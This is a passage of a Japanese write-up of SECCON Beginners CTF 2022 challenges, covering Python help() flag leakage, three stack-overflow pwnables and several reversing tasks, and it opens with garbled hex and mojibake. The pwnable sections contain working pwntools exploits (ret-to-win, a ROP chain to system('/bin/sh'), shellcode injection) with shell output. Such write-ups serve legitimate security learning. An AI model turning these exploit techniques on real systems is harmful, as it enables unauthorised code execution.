\x4b\x38\x2d\x2b\x4d\x47\x34\x2d\x2b\x4d\x4c\x38\x2d\x2b\x4d\x2b\x4d\x4d\x6b\x2d\x2b\x4d\x4f\x30\x2d\x2b\x4d\x4f\x30\x2d\x2b\x4d\x50\x77\x2d\x2b\x4d\x4c\x55\x2d\x2b\x4d\x48\x67\x2d\x2b\x4d\x2b\x63\x6e\x6b\x2d\x2b\x64\x58\x41\x2d\x2b\x63\x2b\x4d\x4c\x67\x2d\x2b\x4d\x4f\x63\x2d\x2b\x4d\x4d\x4d\x2d\x2b\x2b\x57\x53\x6b\x2d\x2b\x54\x33\x2b\x66\x53\x73\x2d\x2b\x6c\x6e\x30\x2d\x2b\x67"); return 0;}
ls
flag.txt
main.py
redir.sh
rule.yara
cat flag.txt
ctf4b{SAT_Solver_c4n_50lv3_54t15f1461l1ty_pr06l3m5}
exit
らせん階段廃墟の街イチジクのタルトドロローサへの道特異点天使紫陽花�J�u�g���p�Ђ̊X�C�`�W�N�̃^���g���ٓ_�W���b�g�V�g���z�Ԕ閧�̍c��0�0[0���k�^�X�0n�W0�0�0�0�0n0�0�0�0�0�0�0�0�0x0n�Sryupp�Y)O}+�}��y�[�0nv�^+MIk-+MFs-+MJM-+lo4-+MEs-+MH+XsM-+WJ8-+MG4-++MKQ-+MME-+MLg-+MK8-+MG4-+ML8-+M+MMk-+MO0-+MO0-+MPw-+MLU-+MHg-+M+cnk-+dXA-+c+MLg-+MOc-+MMM-++WSk-+T3+fSs-+ln0-+g
Not matched. Have Fun!

$

フラグを入手できました: ctf4b{SAT_Solver_c4n_50lv3_54t15f1461l1ty_pr06l3m5}

(YARA検知内容はUTF-8の文字列のようです。何か元ネタがあるんでしょうか?)

[misc, medium] hitchhike4b (125 team solved, 91 pt)

helpを呼び出したら、ページャーとして猫が来ました。

nc hitchhike4b.quals.beginners.seccon.jp 55433

配布ファイルはありません。とりあえず接続しました:

$ nc hitchhike4b.quals.beginners.seccon.jp 55433
 _     _ _       _     _     _ _        _  _   _
| |__ (_) |_ ___| |__ | |__ (_) | _____| || | | |__
| '_ \| | __/ __| '_ \| '_ \| | |/ / _ \ || |_| '_ \
| | | | | || (__| | | | | | | |   <  __/__   _| |_) |
|_| |_|_|\__\___|_| |_|_| |_|_|_|\_\___|  |_| |_.__/


----------------------------------------------------------------------------------------------------

# Source Code

import os
os.environ["PAGER"] = "cat" # No hitchhike(SECCON 2021)

if __name__ == "__main__":
    flag1 = "********************FLAG_PART_1********************"
    help() # I need somebody ...

if __name__ != "__main__":
    flag2 = "********************FLAG_PART_2********************"
    help() # Not just anybody ...

----------------------------------------------------------------------------------------------------

Welcome to Python 3.10's help utility!

If this is your first time using Python, you should definitely check out
the tutorial on the internet at https://docs.python.org/3.10/tutorial/.

Enter the name of any module, keyword, or topic to get help on writing
Python programs and using Python modules.  To quit this help utility and
return to the interpreter, just type "quit".

To get a list of available modules, keywords, symbols, or topics, type
"modules", "keywords", "symbols", or "topics".  Each module also comes
with a one-line summary of what it does; to list the modules whose name
or summary contain a given string such as "spam", type "modules spam".

help>

なるほどページャーにはcatコマンドが設定されています。トップレベルの変数を何らかの名前空間(?)で参照できるか試行錯誤していると、__main__でうまくいきました:

help> __main__
Help on module __main__:

NAME
    __main__

DATA
    __annotations__ = {}
    flag1 = 'ctf4b{53cc0n_15_1n_m'

FILE
    /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py


help>

フラグの前半が手に入りました。また、ファイル名も手に入りました。もしかするとファイル名を入れたらimport相当のことがされるのではと考えました:

help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
 _     _ _       _     _     _ _        _  _   _
| |__ (_) |_ ___| |__ | |__ (_) | _____| || | | |__
| '_ \| | __/ __| '_ \| '_ \| | |/ / _ \ || |_| '_ \
| | | | | || (__| | | | | | | |   <  __/__   _| |_) |
|_| |_|_|\__\___|_| |_|_| |_|_|_|\_\___|  |_| |_.__/


----------------------------------------------------------------------------------------------------

# Source Code

import os
os.environ["PAGER"] = "cat" # No hitchhike(SECCON 2021)

if __name__ == "__main__":
    flag1 = "********************FLAG_PART_1********************"
    help() # I need somebody ...

if __name__ != "__main__":
    flag2 = "********************FLAG_PART_2********************"
    help() # Not just anybody ...

----------------------------------------------------------------------------------------------------

Welcome to Python 3.10's help utility!

If this is your first time using Python, you should definitely check out
the tutorial on the internet at https://docs.python.org/3.10/tutorial/.

Enter the name of any module, keyword, or topic to get help on writing
Python programs and using Python modules.  To quit this help utility and
return to the interpreter, just type "quit".

To get a list of available modules, keywords, symbols, or topics, type
"modules", "keywords", "symbols", or "topics".  Each module also comes
with a one-line summary of what it does; to list the modules whose name
or summary contain a given string such as "spam", type "modules spam".

help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
Help on module app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc:

NAME
    app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc

DATA
    flag2 = 'y_34r5_4nd_1n_my_3y35}'

FILE
    /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py


help>

無事後半も手に入りました。前半と後半を結合してフラグを入手できました: ctf4b{53cc0n_15_1n_my_34r5_4nd_1n_my_3y35}

[pwnable, beginner] BeginnersBof (155 team solved, 84 pt)

Pwnってこういうのだけじゃないらしいですが,多分これだけでもできればすごいと思います.

nc beginnersbof.quals.beginners.seccon.jp 9000
BeginnersBof.tar.gz 30b2f7613172b9f192a4ee49dd304772fa1e1026

配布ファイルとして、src.cと、そのコンパイル結果challがありました:

$ file *
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=86ef4ca27c36d4407e00eb318b228011ce11ac63, for GNU/Linux 3.2.0, not stripped
src.c: C source, ASCII text
$ pwn checksec chall
[*] '/mnt/d/Documents/work/ctf/SECCON Beginners CTF 2022/BeginnersBof/chall'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>

#define BUFSIZE 0x10

void win() {
    char buf[0x100];
    int fd = open("flag.txt", O_RDONLY);
    if (fd == -1)
        err(1, "Flag file not found...\n");
    write(1, buf, read(fd, buf, sizeof(buf)));
    close(fd);
}

int main() {
    int len = 0;
    char buf[BUFSIZE] = {0};
    puts("How long is your name?");
    scanf("%d", &len);
    char c = getc(stdin);
    if (c != '\n')
        ungetc(c, stdin);
    puts("What's your name?");
    fgets(buf, len, stdin);
    printf("Hello %s", buf);
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

ローカル変数bufに対するfgetsの長さを自由に与えられるのでスタックオーバーフローできます。カナリアもないので戻りアドレスを改ざんできます。IDAでスタックのレイアウトを確認して、以下のソルバーを書きました:

#!/usr/bin/env python3

import pwn

BIN_NAME = "./chall"
pwn.context.binary = BIN_NAME

def solve(tube):
    elf = pwn.ELF(BIN_NAME)
    tube.sendlineafter(b"How long is your name?", b"64")
    win_addr = elf.symbols["win"]
    print(f"{hex(win_addr) = }")
    tube.sendlineafter(b"What's your name?", pwn.flat(b"A"*(0x20 + 8), win_addr))
    print(tube.recvall())

with pwn.remote("beginnersbof.quals.beginners.seccon.jp", 9000) as tube: solve(tube)
# with pwn.process(BIN_NAME) as tube: solve(tube)
# with pwn.gdb.debug(BIN_NAME, "b *0x401315\nc") as tube: solve(tube)

実行しました:

$ ./solve.py
[*] '/mnt/d/Documents/work/ctf/SECCON Beginners CTF 2022/BeginnersBof/chall'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to beginnersbof.quals.beginners.seccon.jp on port 9000: Done
hex(win_addr) = '0x4011e6'
[+] Receiving all data: Done (106B)
[*] Closed connection to beginnersbof.quals.beginners.seccon.jp port 9000
b'\nHello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe6\x11@ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}\nSegmentation fault\n'
$

フラグを入手できました: ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}

[pwnable, easy] raindrop (52 team solved, 134 pt)

おぼえていますか?

nc raindrop.quals.beginners.seccon.jp 9001
raindrop.tar.gz d6af5202e0af725b281f8771efa594b133955a46

非常に悩んだ問題です。配布ファイルには、src.cと、そのコンパイル結果chall、それとヒントのwelcome.txtがありました。

$ file *
chall:       ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cba1707049faf8a4e56b2adfe2b8e9813e087e12, for GNU/Linux 3.2.0, not stripped
src.c:       C source, ASCII text
welcome.txt: ASCII text
$ pwn checksec chall
[*] '/mnt/d/Documents/work/ctf/SECCON Beginners CTF 2022/raindrop/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$ cat welcome.txt
Hey! You are now going to try a simple problem using stack buffer overflow and ROP.

I will list some keywords that will give you hints, so please look them up if you don't understand them.

- stack buffer overflow
- return oriented programming
- calling conventions

$
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFF_SIZE 0x10

void help() {
    system("cat welcome.txt");
}

void show_stack(void *);
void vuln();

int main() {
    vuln();
}

void vuln() {
    char buf[BUFF_SIZE] = {0};
    show_stack(buf);
    puts("You can earn points by submitting the contents of flag.txt");
    puts("Did you understand?") ;
    read(0, buf, 0x30);
    puts("bye!");
    show_stack(buf);
}

void show_stack(void *ptr) {
    puts("stack dump...");
    printf("\n%-8s|%-20s\n", "[Index]", "[Value]");
    puts("========+===================");
    for (int i = 0; i < 5; i++) {
        unsigned long *p = &((unsigned long*)ptr)[i];
        printf(" %06d | 0x%016lx ", i, *p);
        if (p == ptr)
            printf(" <- buf");
        if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE))
            printf(" <- saved rbp");
        if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE + 0x8))
            printf(" <- saved ret addr");
        puts("");
    }
    puts("finish");
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    help();
    alarm(60);
}

bufローカル変数に対して0x30サイズだけreadしているのでスタックオーバーフローが可能です。しかしIDAでスタックのレイアウトを見ると、ROP CHAINを書き込めるのはsaved rdbがある都合で3回分だけのことがわかりました。また、ライブラリは動的リンクであるためOneGadgetもなさそうです。以下考えたことです:

  • 3回分のROP CHAINでシェルを取れるか?execvを発動するにはガジェットもサイズも足りない。→pop rdiとpop対象のアドレス、systemのアドレスでぎりぎり足りる?
  • シェルを取るとして/bin/shはバイナリ中にはない。どこへ用意する?→buf冒頭部分に入れれば良さそう!
  • bufのアドレスは分かるか?→show_stackでsaved rbpが分かり、そこからの相対位置でわかる!

これらの考えからソルバーを書きつついろいろ試したのですが、system関数中で変なアドレスへ飛んでSegmantation Faultが起こったりしていました。おそらくRSPを8バイトずらせればよくて、nop; retガジェットを挟むことができれば解決できそうなのですが、前述の通りガジェットサイズの制限の都合で挟めません。vuln関数へ1回戻らせてスタックを調整する手法も試しましたがうまくいきませんでした。

終了30分前になって、「今まではPLTのsystem関数をガジェットとして使っていたが、help関数中のcall systemをガジェットに使えばRSPの8バイト調整出来るのでは?」と閃きました:

#!/usr/bin/env python3

import pwn
BIN_NAME = "./chall"
pwn.context.binary = BIN_NAME

def solve(tube):
    elf = pwn.ELF(BIN_NAME)
    addr_system = elf.plt["system"]
    rop_nop = 0x40114f # nop; ret
    rop_pop_rdi = 0x401453
    rop_call_system = 0x4011E5

    command = b"/bin/sh".ljust(0x10 + 8, b"\x00")

    # gdbで実験すると、saved_rbpが「0x00007fffffffe4c0」のとき、bufは「0x7fffffffe4a0」だった
    tube.recvuntil(b" 000002 | ")
    saved_rbp = int(tube.recvuntil(b"  <-")[:-2], 16)
    print(hex(saved_rbp))
    addr_buf = saved_rbp - 0x00007fffffffe4c0 + 0x7fffffffe4a0

    # payload = pwn.flat(command, rop_pop_rdi, addr_buf, addr_system) # addr_systemだとRIPアライメントの問題か、XMM関係の処理時にセグフォった
    payload = pwn.flat(command, rop_pop_rdi, addr_buf, rop_call_system)

    tube.sendafter(b"Did you understand?", payload)
    tube.recvuntil(b"finish")
    tube.interactive()
    # print(tube.recvall())

with pwn.remote("raindrop.quals.beginners.seccon.jp", 9001) as tube: solve(tube)
# with pwn.process(BIN_NAME) as tube: solve(tube)
# with pwn.gdb.debug(BIN_NAME, "set follow-fork-mode parent\nb *0x401276\nc") as tube: solve(tube)

実行しました:

$ ./solve.py
[*] '/mnt/d/Documents/work/ctf/SECCON Beginners CTF 2022/raindrop/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to raindrop.quals.beginners.seccon.jp on port 9001: Done
0x7ffe1f1227a0
[*] Switching to interactive mode

$ ls
chall
flag.txt
redir.sh
welcome.txt
$ cat flag.txt
ctf4b{th053_d4y5_4r3_g0n3_f0r3v3r}
$
[*] Closed connection to raindrop.quals.beginners.seccon.jp port 9001
$

フラグを入手できました: ctf4b{th053_d4y5_4r3_g0n3_f0r3v3r}

(ローカル実行では、Ubuntu 18.04ではシェルを取れ、Ubuntu 22.04ではSegmantation Faultになりました。何に依存してしまっているのでしょう……?)

(2022/06/11(土) 追記: __attribute__((constructor))属性のある関数、つまりmain関数よりも先に呼ばれる関数でsystem("cat welcome.txt")を行っているため、gdb-pedaでプログラム本体をデバッグする場合はset follow-fork-mode parentが必要です。毎回この挙動にしばらく悩まされます。どうしてpedaはpeda.execute("set follow-fork-mode child")とわざわざ変更しているのでしょう……)

[pwnable, medium] snowdrop (44 team solved, 144 pt)

これでもうあの危険なone gadgetは使わせないよ!

nc snowdrop.quals.beginners.seccon.jp 9002
snowdrop.tar.gz 86d1e4d9deb0885ec00eb80667270a0371915768

配布ファイルとして、src.cと、そのコンパイル結果challがありました:

$ file *
chall: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=9e7476418f9c7f3e7069f3b041c09ed5e46aa64f, for GNU/Linux 3.2.0, not stripped
src.c: C source, ASCII text
$ pwn checksec chall
[*] '/mnt/d/Documents/work/ctf/SECCON Beginners CTF 2022/snowdrop/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
$
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFF_SIZE 0x10

void show_stack(void *);

int main() {
    char buf[BUFF_SIZE] = {0};
    show_stack(buf);
    puts("You can earn points by submitting the contents of flag.txt");
    puts("Did you understand?") ;
    gets(buf);
    puts("bye!");
    show_stack(buf);
}

void show_stack(void *ptr) {
    puts("stack dump...");
    printf("\n%-8s|%-20s\n", "[Index]", "[Value]");
    puts("========+===================");
    for (int i = 0; i < 8; i++) {
        unsigned long *p = &((unsigned long*)ptr)[i];
        printf(" %06d | 0x%016lx ", i, *p);
        if (p == ptr)
            printf(" <- buf");
        if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE))
            printf(" <- saved rbp");
        if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE + 0x8))
            printf(" <- saved ret addr");
        puts("");
    }
    puts("finish");
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

今回はgetsなのでいくらでもスタックに書き込めます。checksecではカナリアがあると言っていますが、main関数の処理を見るとカナリア処理はありませんでした。おそらく静的リンクされているlibc側で検出したのだと思います。また、NXも無効なのでシェルコードを書き込んで実行させるのが簡単そうです。この問題でもsaved rbpからbufのアドレスを計算できます。これらを利用してソルバーを書きました:

#!/usr/bin/env python3

import pwn
BIN_NAME = "./chall"
pwn.context.binary = BIN_NAME

def solve(tube):
    tube.recvuntil(b" 000006 | ")
    addr_related_to_stack = int(tube.recvline(), 16)
    addr_buf = addr_related_to_stack - 0x00007fffffffe5d8 + 0x7fffffffe370
    print(f"{hex(addr_buf)=}")
    addr_shellcode = addr_buf + 0x10 + 0x10
    shellcode = pwn.asm(pwn.shellcraft.amd64.linux.sh())
    payload = pwn.flat(b"A"*(0x10+8), addr_shellcode, shellcode)
    assert b"\n" not in payload

    tube.sendlineafter(b"Did you understand?", payload)
    tube.interactive()

with pwn.remote("snowdrop.quals.beginners.seccon.jp", 9002) as tube: solve(tube)
# with pwn.process(BIN_NAME) as tube: solve(tube)
# with pwn.gdb.debug(BIN_NAME, "b *0x401970\nc\n") as tube: solve(tube)

実行しました:

$ ./solve.py
[*] '/mnt/d/Documents/work/ctf/SECCON Beginners CTF 2022/snowdrop/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[+] Opening connection to snowdrop.quals.beginners.seccon.jp on port 9002: Done
hex(addr_buf)='0x7ffe6e705290'
[*] Switching to interactive mode

bye!
stack dump...

[Index] |[Value]
========+===================
 000000 | 0x4141414141414141  <- buf
 000001 | 0x4141414141414141
 000002 | 0x4141414141414141  <- saved rbp
 000003 | 0x00007ffe6e7052b0  <- saved ret addr
 000004 | 0x6e69622fb848686a
 000005 | 0xe7894850732f2f2f
 000006 | 0x2434810101697268
 000007 | 0x6a56f63101010101
finish
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{h1ghw4y_t0_5h3ll}
$
[*] Closed connection to snowdrop.quals.beginners.seccon.jp port 9002
$

フラグを入手できました: ctf4b{h1ghw4y_t0_5h3ll}

[reversing, beginner] Quiz (650 team solved, 50 pt)

クイズに答えよう!

quiz.tar.gz a7f225b59176baa3d888c6fc7452f8df9a58e204

配布ファイルとしてquizがありました。Beginnerならstringsでいけるかなと試したら行けました:

$ file *
quiz: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3c3ecb93f6ca813352964076835ff6712fe9554e, for GNU/Linux 3.2.0, not stripped
$ strings quiz | grep ctf4b
ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}
$

フラグを入手できました: ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}

この文章を書いている間に全うに実行しました。想定解法もstringsのようです:

$ ./quiz
Welcome, it's time for the binary quiz!
ようこそ、バイナリクイズの時間です!

Q1. What is the executable file's format used in Linux called?
    Linuxで使われる実行ファイルのフォーマットはなんと呼ばれますか?
    1) ELM  2) ELF  3) ELR
Answer : 2
Correct!

Q2. What is system call number 59 on 64-bit Linux?
    64bit Linuxにおけるシステムコール番号59はなんでしょうか?
    1) execve  2) folk  3) open
Answer : 1
Correct!

Q3. Which command is used to extract the readable strings contained in the file?
    ファイルに含まれる可読文字列を抽出するコマンドはどれでしょうか?
    1) file  2) strings  3) readelf
Answer : 2
Correct!

Q4. What is flag?
    フラグはなんでしょうか?
Answer : ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}
Correct! Flag is ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}
$

[reversing, easy] WinTLS (102 team solved, 100 pt)

TLSってなんだぁ?

wintls.tar.gz 4607f34efbcbc99137e684c00d7e4cb4425ec358

配布ファイルとして、chall.exeがありました(Google ChromeやWindowsがマルウェア判定したので一時的に無効化したりしました):

$ file *
chall.exe:     PE32+ executable (GUI) x86-64, for MS Windows
$

Windows SandBox上でとりあえず実行すると、GUIでフラグ入力欄があり、正しいかそうでないかを判定してくれるプログラムのようでした。IDAで見ると、check関数でTlsGetValue結果と引数が一致するかを検証しており、2つの関数でcheck関数とTlsSetValueを呼び出していました。その2つの関数の引数には入力文字列が来ると信じて、フラグを復号するソルバーを書きました:

#!/usr/bin/env python3

t1 = "c4{fAPu8#FHh2+0cyo8$SWJH3a8X"
t2 = "tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}"

flag = ""
for i in range(256):
    if (i%3==0 or i%5==0) and len(t1):
        flag += t1[0]
        t1 = t1[1:]
    elif len(t2):
        flag += t2[0]
        t2 = t2[1:]
print(flag)

実行しました:

$ ./solve.py
ctf4b{f%sAP$uT98Nv#FFHyrh2o+Lh0@8c9yoa98$ySoCW3rJPH3y&a83Xb}
$

フラグを入手できました: ctf4b{f%sAP$uT98Nv#FFHyrh2o+Lh0@8c9yoa98$ySoCW3rJPH3y&a83Xb}

[reversing, easy] Recursive (127 team solved, 91 pt)

このファイルは中でどんな処理をしているんだろう? バイナリ解析ツールで調べてみようかな

recursive.tar.gz 0b40c31c8f9712f8400eb21e88ed26929e84acd7

配布ファイルとして、challがありました:

$ file *
recursive: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=82b2c7b000825dccd1ae8736ff926c61ae8c570d, for GNU/Linux 3.2.0, not stripped
$ ./recursive

   ▄▀▀▄▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▄▄▄▄   ▄▀▀▄ ▄▀▀▄  ▄▀▀▄▀▀▀▄  ▄▀▀▀▀▄  ▄▀▀█▀▄   ▄▀▀▄ ▄▀▀▄  ▄▀▀█▄▄▄▄
  █   █   █ ▐  ▄▀   ▐ █ █    ▌ █   █    █ █   █   █ █ █   ▐ █   █  █ █   █    █ ▐  ▄▀   ▐
  ▐  █▀▀█▀    █▄▄▄▄▄  ▐ █      ▐  █    █  ▐  █▀▀█▀     ▀▄   ▐   █  ▐ ▐  █    █    █▄▄▄▄▄
   ▄▀    █    █    ▌    █        █    █    ▄▀    █  ▀▄   █      █       █   ▄▀    █    ▌
  █     █    ▄▀▄▄▄▄    ▄▀▄▄▄▄▀    ▀▄▄▄▄▀  █     █    █▀▀▀    ▄▀▀▀▀▀▄     ▀▄▀     ▄▀▄▄▄▄
  ▐     ▐    █    ▐   █     ▐             ▐     ▐    ▐      █       █            █    ▐
             ▐        ▐                                     ▐       ▐            ▐

FLAG: test
Incorrect.

IDAで見ると、入力文字数が38文字であることを確認した後、以下のcheck関数で正誤判定をしていました:

// 64-bitプログラムなのでFree版IDAでもCloud-Basedの逆コンパイルができます
__int64 __fastcall check(const char *pStr, unsigned int dwIndex)
{
  int dwStrLength; // [rsp+14h] [rbp-1Ch]
  int dwMid; // [rsp+18h] [rbp-18h]
  char *pCopyed1; // [rsp+20h] [rbp-10h]
  char *pCopyed2; // [rsp+28h] [rbp-8h]

  dwStrLength = strlen(pStr);
  if ( dwStrLength == 1 )
  {
    if ( table[dwIndex] != *pStr )
      return 1LL;
  }
  else
  {
    dwMid = dwStrLength / 2;
    pCopyed1 = (char *)malloc(dwStrLength / 2);
    strncpy(pCopyed1, pStr, dwStrLength / 2);
    if ( (unsigned int)check(pCopyed1, dwIndex) == 1 )
      return 1LL;
    pCopyed2 = (char *)malloc(dwStrLength - dwMid);
    strncpy(pCopyed2, &pStr[dwMid], dwStrLength - dwMid);
    if ( (unsigned int)check(pCopyed2, dwIndex + dwMid * dwMid) == 1 )
      return 1LL;
  }
  return 0LL;
}

後はグローバル変数のtable内容を持ってきて、index関係で色々ミスをしながらソルバーを書きました:

#!/usr/bin/env python3

table_str = """
63h, 74h, 60h, 2Ah, 66h, 34h, 28h, 2Bh, 62h, 63h, 39h
35h, 22h, 2Eh, 38h, 31h, 62h, 7Bh, 68h, 6Dh, 72h, 33h
63h, 2Fh, 7Dh, 72h, 40h, 3Ah, 7Bh, 26h, 3Bh, 35h, 31h
34h, 6Fh, 64h, 2Ah, 3Ch, 68h, 2Ch, 6Eh, 27h, 64h, 6Dh
78h, 77h, 3Fh, 6Ch, 65h, 67h, 28h, 79h, 6Fh, 29h, 6Eh
65h, 2Bh, 6Ah, 2Dh, 7Bh, 28h, 60h, 71h, 2Fh, 72h, 72h
33h, 7Ch, 28h, 24h, 30h, 2Bh, 35h, 73h, 2Eh, 7Ah, 7Bh
5Fh, 6Eh, 63h, 61h, 75h, 72h, 24h, 7Bh, 73h, 31h, 76h
35h, 25h, 21h, 70h, 29h, 68h, 21h, 71h, 27h, 74h, 3Ch
3Dh, 6Ch, 40h, 5Fh, 38h, 68h, 39h, 33h, 5Fh, 77h, 6Fh
63h, 34h, 6Ch, 64h, 25h, 3Eh, 3Fh, 63h, 62h, 61h, 3Ch
64h, 61h, 67h, 78h, 7Ch, 6Ch, 3Ch, 62h, 2Fh, 79h, 2Ch
79h, 60h, 6Bh, 2Dh, 37h, 7Bh, 3Dh, 3Bh, 7Bh, 26h, 38h
2Ch, 38h, 75h, 35h, 24h, 6Bh, 6Bh, 63h, 7Dh, 40h, 37h
71h, 40h, 3Ch, 74h, 6Dh, 30h, 33h, 3Ah, 26h, 2Ch, 66h
31h, 76h, 79h, 62h, 27h, 38h, 25h, 64h, 79h, 6Ch, 32h
28h, 67h, 3Fh, 37h, 31h, 37h, 71h, 23h, 75h, 3Eh, 66h
77h, 28h, 29h, 76h, 6Fh, 6Fh, 24h, 36h, 67h, 29h, 3Ah
29h, 5Fh, 63h, 5Fh, 2Bh, 38h, 76h, 2Eh, 67h, 62h, 6Dh
28h, 25h, 24h, 77h, 28h, 3Ch, 68h, 3Ah, 31h, 21h, 63h
27h, 72h, 75h, 76h, 7Dh, 40h, 33h, 60h, 79h, 61h, 21h
72h, 35h, 26h, 3Bh, 35h, 7Ah, 5Fh, 6Fh, 67h, 6Dh, 30h
61h, 39h, 63h, 32h, 33h, 73h, 6Dh, 77h, 2Dh, 2Eh, 69h
23h, 7Ch, 77h, 7Bh, 38h, 6Bh, 65h, 70h, 66h, 76h, 77h
3Ah, 33h, 7Ch, 33h, 66h, 35h, 3Ch, 65h, 40h, 3Ah, 7Dh
2Ah, 2Ch, 71h, 3Eh, 73h, 67h, 21h, 62h, 64h, 6Bh, 72h
30h, 78h, 37h, 40h, 3Eh, 68h, 2Fh, 35h, 2Ah, 68h, 69h
3Ch, 37h, 34h, 39h, 27h, 7Ch, 7Bh, 29h, 73h, 6Ah, 31h
3Bh, 30h, 2Ch, 24h, 69h, 67h, 26h, 76h, 29h, 3Dh, 74h
30h, 66h, 6Eh, 6Bh, 7Ch, 30h, 33h, 6Ah, 22h, 7Dh, 37h
72h, 7Bh, 7Dh, 74h, 69h, 7Dh, 3Fh, 5Fh, 3Ch, 73h, 77h
78h, 6Ah, 75h, 31h, 6Bh, 21h, 6Ch, 26h, 64h, 62h, 21h
6Ah, 3Ah, 7Dh, 21h, 7Ah, 7Dh, 36h, 2Ah, 60h, 31h, 5Fh
7Bh, 66h, 31h, 73h, 40h, 33h, 64h, 2Ch, 76h, 69h, 6Fh
34h, 35h, 3Ch, 5Fh, 34h, 76h, 63h, 5Fh, 76h, 33h, 3Eh
68h, 75h, 33h, 3Eh, 2Bh, 62h, 79h, 76h, 71h, 23h, 23h
40h, 66h, 2Bh, 29h, 6Ch, 63h, 39h, 31h, 77h, 2Bh, 39h
69h, 37h, 23h, 76h, 3Ch, 72h, 3Bh, 72h, 72h, 24h, 75h
40h, 28h, 61h, 74h, 3Eh, 76h, 6Eh, 3Ah, 37h, 62h, 60h
6Ah, 73h, 6Dh, 67h, 36h, 6Dh, 79h, 7Bh, 2Bh, 39h, 6Dh
5Fh, 2Dh, 72h, 79h, 70h, 70h, 5Fh, 75h, 35h, 6Eh, 2Ah
36h, 2Eh, 7Dh, 66h, 38h, 70h, 70h, 67h, 3Ch, 6Dh, 2Dh
26h, 71h, 71h, 35h, 6Bh, 33h, 66h, 3Fh, 3Dh, 75h, 31h
7Dh, 6Dh, 5Fh, 3Fh, 6Eh, 39h, 3Ch, 7Ch, 65h, 74h, 2Ah
2Dh, 2Fh, 25h, 66h, 67h, 68h, 2Eh, 31h, 6Dh, 28h, 40h
5Fh, 33h, 76h, 66h, 34h, 69h, 28h, 6Eh, 29h, 73h, 32h
6Ah, 76h, 67h, 30h, 6Dh, 34h
"""
table = "".join(map(lambda s: chr(int(s[:-1], 16)), table_str.strip().replace("\n", ", ").split(", ")))

flag = ['*']*38

def check(begin, end, index):
    length = end - begin
    # print(f"{begin=}, {end=}, {index=}, {length=}")
    if length <= 1:
        if index < 512:
            flag[begin] = table[index]
        return
    mid = length // 2
    if mid != 0:
        check(begin, begin+mid, index)
        check(begin+mid, end, index + mid*mid)

check(0, 38, 0)
print("".join(flag))

実行しました:

$ ./solve.py
ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}
$ ./recursive

   ▄▀▀▄▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▄▄▄▄   ▄▀▀▄ ▄▀▀▄  ▄▀▀▄▀▀▀▄  ▄▀▀▀▀▄  ▄▀▀█▀▄   ▄▀▀▄ ▄▀▀▄  ▄▀▀█▄▄▄▄
  █   █   █ ▐  ▄▀   ▐ █ █    ▌ █   █    █ █   █   █ █ █   ▐ █   █  █ █   █    █ ▐  ▄▀   ▐
  ▐  █▀▀█▀    █▄▄▄▄▄  ▐ █      ▐  █    █  ▐  █▀▀█▀     ▀▄   ▐   █  ▐ ▐  █    █    █▄▄▄▄▄
